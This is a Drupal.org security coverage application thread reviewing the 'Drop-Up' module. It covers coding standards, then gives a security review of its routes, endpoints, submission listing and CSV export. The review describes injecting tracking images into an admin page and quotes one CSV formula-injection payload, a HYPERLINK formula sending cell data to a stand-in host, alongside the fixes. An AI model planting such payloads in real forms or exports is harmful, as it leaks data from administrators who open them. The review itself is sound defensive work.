[1.0.x] Drop-Up

Thank you for applying!

Before giving links helpful to understand how the review process works, what to expect from a review, and what to do to avoid a review takes more time than needed, I would like to thank all the reviewers for the work they do.
These applications are volunters-driven, which also means it is not possible to predict when an application will be marked fixed and the applicant will get the permission to opt projects into security advisory policy. While we aim to make an application as quick as possible, it is also important for us that more people review the project used for an application. In this way, we make sure applications do not miss some important points that should be instead reported.
Applications are not meant to be complete debugging sessions that eliminate every existing bug, though. I apologize if sometimes applications seem to go into too-detailed reviews.

Please read Review process for security advisory coverage: What to expect for more details and Security advisory coverage application checklist to understand what reviewers look for. Tips for ensuring a smooth review gives some hints for a smoother review.

The important notes are the following.

• If you have not done it yet, you should enable GitLab CI for the project and fix the PHP_CodeSniffer errors/warnings it reports.
• For the time this application is open, only your commits are allowed.
• The purpose of this application is giving you a new drupal.org role that allows you to opt projects into security advisory coverage, either projects you already created, or projects you will create. The project status will not be changed by this application; once this application is closed, you will be able to change the project status from Not covered to Opt into security advisory coverage. This is possible only 14 days after the project is created.
  
  Keep in mind that once the project is opted into security advisory coverage, only Security Team members may change coverage.
• Only the person who created the application will get the permission to opt projects into security advisory coverage. No other person will get the same permission from the same application; that applies also to co-maintainers/maintainers of the project used for the application.
• We only accept an application per user. If you change your mind about the project to use for this application, or it is necessary to use a different project for the application, please update the issue summary with the link to the correct project and the issue title with the project name and the branch to review.

To the reviewers

Please read How to review security advisory coverage applications, Application workflow, What to cover in an application review, and Tools to use for reviews.

The important notes are the following.

• It is preferable to wait for a project moderator before posting the first comment on newly created applications. Project moderators will do some preliminary checks that are necessary before any change on the project files is suggested.
• Reviewers should show the output of a CLI tool only once per application.
• It may be best to have the applicant fix things before further review.

For new reviewers, I would also suggest to first read In which way the issue queue for coverage applications is different from other project queues.

Remember to change status, when the project is ready to be reviewed. In this queue, projects are only reviewed when the status is Needs review.

1. FILE: README.md

The README file is missing the required sections - Requirements, Installation and Configuration.

2. FILE: dropup.libraries.yml

version: VERSION

VERSION is only used by Drupal core modules. Contributed modules should use a literal string that does not change with the Drupal core version a site is using.

3. FILE: dropup.module

For a new module that aims to be compatible with Drupal 10 and Drupal 11, I would rather implement hooks as class methods as described in Support for object oriented hook implementations using autowired services.

4. FILE: src/Form/DropupSettingsForm.php

With Drupal 10 and Drupal 11, there is no longer need to use #default_value for each form element, when the parent class is ConfigFormBase: It is sufficient to use #config_target, as in the following code.

    $form['image_toolkit'] = [
      '#type' => 'radios',
      '#title' => $this->t('Select an image processing toolkit'),
      '#config_target' => 'system.image:toolkit',
      '#options' => [],
    ];

Using that code, it is no longer needed to save the configuration values in the form submission handler: The parent class will take care of that.

Remember to change status, when you changed what the review asked. Applications are only reviewed when the status is Needs review.

I read branch 1.0.x at commit 254b9ed. #5 covered the README, libraries, hooks and the settings form, so I focused on security: routes and access, the two public endpoints, the submission listing and export, and the runtime JavaScript.

What I checked and found correct:
- Every admin write route has _entity_access or _entity_create_access plus _csrf_token or _csrf_request_header_token. The permissions that expose personal data (view/delete dropup submissions) and 'administer dropup widgets' have restrict access: true.
- The runtime never uses innerHTML or insertAdjacentHTML; content is built with createElement() and text nodes.
- preview-bridge.js checks event.origin and posts to window.location.origin, never '*'.
- SubmitController registers the flood event before validating the payload, and the comment explains why no CSRF token is possible on a page-cached form. Answers are validated against the published tree by SubmissionValidator: options must be among the published ones, ratings must be in range, and text is capped at 2,000 characters.
- ConfigController uses accessCheck(FALSE) with a justification and only serializes live widgets.

1. Visitor answers are rendered with #markup in the submission listing
SubmissionController::listing(), line 61:

$row[] = ['data' => ['#markup' => $this->format($values[$id] ?? NULL)]];

The value comes from text_field, textarea and phone answers posted anonymously to /dropup/submit/{uuid}, and format() returns it unchanged. #markup goes through Xss::filterAdmin(), which removes scripts and event attributes but keeps tags such as <a> and <img>. An anonymous visitor can therefore inject links and remote images into a page only users with 'view dropup submissions' see, for example a tracking image that reveals when and from which IP an administrator opened the list, or a link presented as part of the data. Visitor input should be rendered as plain text: '#plain_text' => $this->format(...).

2. The CSV export does not neutralize formulas
SubmissionController::export() writes the same answers with fputcsv() without any change. A text answer such as =HYPERLINK("https://example.com/?d="&A2,"Click") is interpreted as a formula when the export is opened in a spreadsheet application, which is the usual way to read it (CSV/formula injection, see the OWASP "CSV Injection" page). Prefixing values that start with =, +, -, @, a tab or a carriage return with a single quote, as OWASP recommends, avoids it.

3. Minor: the time trap is skipped when "elapsed" is missing
SubmitController, line 94: the check only runs when elapsed > 0, so a bot omitting the field (or sending 0) is never caught by it. This is anti-spam, not access control, and the value is client-supplied anyway, but the condition could treat a missing value as too fast.